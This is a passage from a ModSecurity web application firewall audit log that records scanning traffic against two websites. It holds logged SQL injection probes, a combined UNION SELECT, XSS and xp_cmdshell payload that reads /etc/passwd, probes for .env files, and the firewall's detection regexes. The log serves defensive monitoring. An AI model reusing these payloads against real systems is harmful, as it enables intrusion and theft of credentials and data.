"/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 5908-- sjra found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') order by 5908-- sjra"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE881se_3eHPNozq0G0OtQAAAAU"] Stopwatch: 1750023382218745 6108 (- - -) Stopwatch2: 1750023382218745 6108; combined=4040, p1=335, p2=3487, p3=34, p4=28, p5=156, sr=87, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --054cfa44-Z-- --bd4a1c08-A-- [16/Jun/2025:03:06:22.739189 +0530] aE881lGNm2a2ZAngdHCtmQAAAAc 172.69.150.193 60726 127.0.0.1 7081 --bd4a1c08-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%20ORDER%20BY%201--%20vyoS HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.150.193 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533dc294d3825-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --bd4a1c08-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --bd4a1c08-E-- --bd4a1c08-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- vyos found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' order by 1-- vyos"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- vyos found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' order by 1-- vyos"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE881lGNm2a2ZAngdHCtmQAAAAc"] Stopwatch: 1750023382733467 5807 (- - -) Stopwatch2: 1750023382733467 5807; combined=3864, p1=328, p2=3382, p3=39, p4=32, p5=83, sr=85, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bd4a1c08-Z-- --5cdf0a38-A-- [16/Jun/2025:03:06:23.017633 +0530] aE8813ZqyQ8YfVGvJU7YXAAAAAY 172.71.164.61 60762 127.0.0.1 7081 --5cdf0a38-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%20ORDER%20BY%207768--%20rIxv HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.164.61 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533df58da973a-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --5cdf0a38-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --5cdf0a38-E-- --5cdf0a38-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 7768-- rixv found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' order by 7768-- rixv"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 7768-- rixv found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' order by 7768-- rixv"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE8813ZqyQ8YfVGvJU7YXAAAAAY"] Stopwatch: 1750023383010094 7662 (- - -) Stopwatch2: 1750023383010094 7662; combined=5239, p1=485, p2=4552, p3=47, p4=42, p5=113, sr=121, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5cdf0a38-Z-- --55617142-A-- [16/Jun/2025:03:06:25.139372 +0530] aE882VR6EeXjkGzEkblklgAAAAs 172.71.148.103 60872 127.0.0.1 7081 --55617142-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now&qXPf=2309%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.148.103 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533eb1c91dc92-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo; ASP.NET_SessionId=0yrms5pzz2h0vfr5xefvvkan --55617142-F-- HTTP/1.1 302 Found X-Powered-By: PHP/8.2.28 location: https://safe-load.gotmls.net/report.php?ver=4.23.81&attack[]=FW_Traversal&SERVER_REMOTE_ADDR=172.71.148.103&SERVER_HTTP_HOST=www.getcalley.com&SERVER_REQUEST_URI=%2Flogin-now%2F%3Futm_source%3Dwebsite%26utm_medium%3Dtop-bar%26utm_campaign%3Dlogin-now%26qXPf%3D2309%2520AND%25201%253D1%2520UNION%2520ALL%2520SELECT%25201%252CNULL%252C%2527%253Cscript%253Ealert%2528%2522XSS%2522%2529%253C%252Fscript%253E%2527%252Ctable_name%2520FROM%2520information_schema.tables%2520WHERE%25202%253E1--%252F%252A%252A%252F%253B%2520EXEC%2520xp_cmdshell%2528%2527cat%2520..%252F..%252F..%252Fetc%252Fpasswd%2527%2529%2523&SERVER_HTTP_USER_AGENT=Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+hu%3B+rv%3A1.9.2.3%29+Gecko%2F20100401+Firefox%2F3.6.3+GTB7.1 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --55617142-H-- Message: Warning. Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.getcalley.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now&qXPf=2309%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Pattern match "<script\\b" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/07_XSS_XSS.conf"] [line "65"] [id "212620"] [rev "4"] [msg "COMODO WAF: Cross-site Scripting (XSS) Attack||www.getcalley.com|F|2"] [data "Matched Data: <script found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now&qxpf=2309and1=1unionallselect1,null,'<script>alert(\x22xss\x22)</script>',table_namefrominformation_schema.tableswhere2>1"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] Message: Warning. Pattern match "[\\x22'<\\/]xss[\\x22'\\/>]" at ARGS:qXPf. [file "/etc/apache2/modsecurity.d/rules/comodo_free/07_XSS_XSS.conf"] [line "80"] [id "212820"] [rev "3"] [msg "COMODO WAF: XSS Attack Detected||www.getcalley.com|F|2"] [data "Matched Data: \x22xss\x22 found within ARGS:qXPf: 2309 and 1=1 union all select 1,null,'<script>alert(\x22xss\x22)</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../etc/passwd')#"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] Message: Warning. Matched phrase "etc/passwd" at ARGS:qXPf. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.getcalley.com|F|2"] [data "Matched Data: etc/passwd found within ARGS:qXPf: 2309 and 1=1 union all select 1,null,'<script>alert(\x22xss\x22)</etc/passwd')#"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: table_name found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now&qXPf=2309%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: 2309 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\x22XSS\x22)</script>',table_name FROM information_schema.tables WHERE 2>1 found within MATCHED_VAR: 2309 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\x22XSS\x22)</script>',table_name FROM information_schema.tables WHERE 2>1"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:\\b(?:m(?:s(?:ysaccessobjects|ysaces|ysobjects|ysqueries|ysrelationships|ysaccessstorage|ysaccessxml|ysmodules|ysmodules2|db)|aster\\.\\.sysdatabases|ysql\\.db)\\b|s(?:ys(?:\\.database_name|aux)\\b|chema(?:\\W*\\(|_name\\b)|qlite(_temp)?_master\\b) ..." at ARGS:qXPf. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "69"] [id "218530"] [rev "3"] [msg "COMODO WAF: SQL Injection Attack: Common DB Names Detected||www.getcalley.com|F|2"] [data "Matched Data: information_schema found within ARGS:qXPf: 2309 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\x22XSS\x22)</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.getcalley.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now&qXPf=2309%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE882VR6EeXjkGzEkblklgAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "<script\\\\\\\\b" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/07_XSS_XSS.conf"] [line "65"] [id "212620"] [rev "4"] [msg "COMODO WAF: Cross-site Scripting (XSS) Attack||www.getcalley.com|F|2"] [data "Matched Data: <script found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now&qxpf=2309and1=1unionallselect1,null,'<script>alert(\\\\x22xss\\\\x22)</script>',table_namefrominformation_schema.tableswhere2>1"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE882VR6EeXjkGzEkblklgAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\x22'<\\\\\\\\/]xss[\\\\\\\\x22'\\\\\\\\/>]" at ARGS:qXPf. [file "/etc/apache2/modsecurity.d/rules/comodo_free/07_XSS_XSS.conf"] [line "80"] [id "212820"] [rev "3"] [msg "COMODO WAF: XSS Attack Detected||www.getcalley.com|F|2"] [data "Matched Data: \\\\x22xss\\\\x22 found within ARGS:qXPf: 2309 and 1=1 union all select 1,null,'<script>alert(\\\\x22xss\\\\x22)</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../etc/passwd')#"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE882VR6EeXjkGzEkblklgAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:qXPf. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.getcalley.com|F|2"] [data "Matched Data: etc/passwd found within ARGS:qXPf: 2309 and 1=1 union all select 1,null,'<script>alert(\\\\x22xss\\\\x22)</etc/passwd')#"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE882VR6EeXjkGzEkblklgAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: table_name found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now&qXPf=2309%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE882VR6EeXjkGzEkblklgAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: 2309 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\\\\x22XSS\\\\x22)</script>',table_name FROM information_schema.tables WHERE 2>1 found within MATCHED_VAR: 2309 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\\\\x22XSS\\\\x22)</script>',table_name FROM information_schema.tables WHERE 2>1"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE882VR6EeXjkGzEkblklgAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:\\\\\\\\b(?:m(?:s(?:ysaccessobjects|ysaces|ysobjects|ysqueries|ysrelationships|ysaccessstorage|ysaccessxml|ysmodules|ysmodules2|db)|aster\\\\\\\\.\\\\\\\\.sysdatabases|ysql\\\\\\\\.db)\\\\\\\\b|s(?:ys(?:\\\\\\\\.database_name|aux)\\\\\\\\b|chema(?:\\\\\\\\W*\\\\\\\\(|_name\\\\\\\\b)|qlite(_temp)?_master\\\\\\\\b) ..." at ARGS:qXPf. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "69"] [id "218530"] [rev "3"] [msg "COMODO WAF: SQL Injection Attack: Common DB Names Detected||www.getcalley.com|F|2"] [data "Matched Data: information_schema found within ARGS:qXPf: 2309 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\\\\x22XSS\\\\x22)</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE882VR6EeXjkGzEkblklgAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.getcalley.com"] [uri "/index.php"] [unique_id "aE882VR6EeXjkGzEkblklgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023385119001 20464 (- - -) Stopwatch2: 1750023385119001 20464; combined=5286, p1=415, p2=4541, p3=0, p4=0, p5=330, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --55617142-Z-- --24300008-A-- [16/Jun/2025:03:06:30.229875 +0530] aE883ce_3eHPNozq0G0OugAAAAU 185.177.72.210 38346 127.0.0.1 7081 --24300008-B-- GET /.tmux.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --24300008-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1f8660322fcee611eba852308d3cc41f1750023390; expires=Sun, 15 Jun 2025 22:36:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --24300008-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".tmux.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".tmux.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.tmux.conf"] [unique_id "aE883ce_3eHPNozq0G0OugAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023389560832 669107 (- - -) Stopwatch2: 1750023389560832 669107; combined=2022, p1=346, p2=1577, p3=0, p4=0, p5=98, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --24300008-Z-- --3dab2037-A-- [16/Jun/2025:03:06:37.273319 +0530] aE885ENwpNEMJppxC49RjgAAAAI 185.177.72.210 38762 127.0.0.1 7081 --3dab2037-B-- GET /moodledata/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3dab2037-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3b45e471dc0d0156a752b9cd5f1aca151750023397; expires=Sun, 15 Jun 2025 22:36:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3dab2037-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/moodledata/.env"] [unique_id "aE885ENwpNEMJppxC49RjgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023396617634 655748 (- - -) Stopwatch2: 1750023396617634 655748; combined=1936, p1=407, p2=1444, p3=0, p4=0, p5=85, sr=115, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3dab2037-Z-- --5a40f860-A-- [16/Jun/2025:03:06:44.577582 +0530] aE886x-kH31pk4mNbsU-1AAAAAo 185.177.72.210 41520 127.0.0.1 7081 --5a40f860-B-- GET /:8000/bootstrap/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; 